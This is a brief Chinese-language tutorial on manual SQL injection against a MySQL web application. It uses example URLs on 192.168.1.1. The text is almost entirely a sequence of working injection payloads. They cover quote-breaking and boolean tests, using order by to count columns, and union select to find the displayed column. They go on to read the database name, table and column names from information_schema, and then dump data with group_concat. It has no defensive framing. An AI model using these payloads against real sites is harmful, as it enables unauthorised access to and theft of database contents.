步骤
下面提到的是数字型和字符型的注入, sql注入还有基于报错型SQL注入、基于布尔/时间的SQL注入、可联合查询的SQL注入
url同样为 http://192.168.1.1/search?id=1’时, 数据库认为id叫做“1’”,查询之后发现没有这个id而返回错误.
http://192.168.1.1/search?id=1’ and ‘1’=‘1
在’1’=‘1 之后没有加上’是因为传参时输入的内容已经被’ '包围.
使用order by 试出数据库列数
http://192.168.1.1/search?id=1’ order by 数字
如果试6时返回错误, 5时正确.那么列数为5
使用union select找出会返回给客户端并显示的列.
如果有5列时,应该这么写http://192.168.1.1/search?id=1 union select 1,2,3,4,5
加入显示位是5,这就意味着数据库之开放了“5”这个窗口用以显示,那么在查询其他信息(如数据库名)时应该用需要查询到信息替换它来显示这些信息
假如显示位是5, http://192.168.1.1/search?id=1 union select 1,2,3,4,database()
找到库名之后
使用http://192.168.1.1/search?id=1 union select 1,2,3,4,table_name from information_schema.tables where table_schema=‘库名’
如果是字符型,此处库名要转换成十六进制
这是一个mysql自带的库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,故我们需要查询这个库
http://192.168.1.1/search?id=1 union select 1,2,3,4,column_name from information_schema.columns where table_name=‘表名’
如果是字符型,此处表名要转换成十六进制
加上limit 0,5 相当于检索1-5条
http://192.168.1.1/search?id=1 union select 1,2,3,4,group_concat(查询的数据) from 表名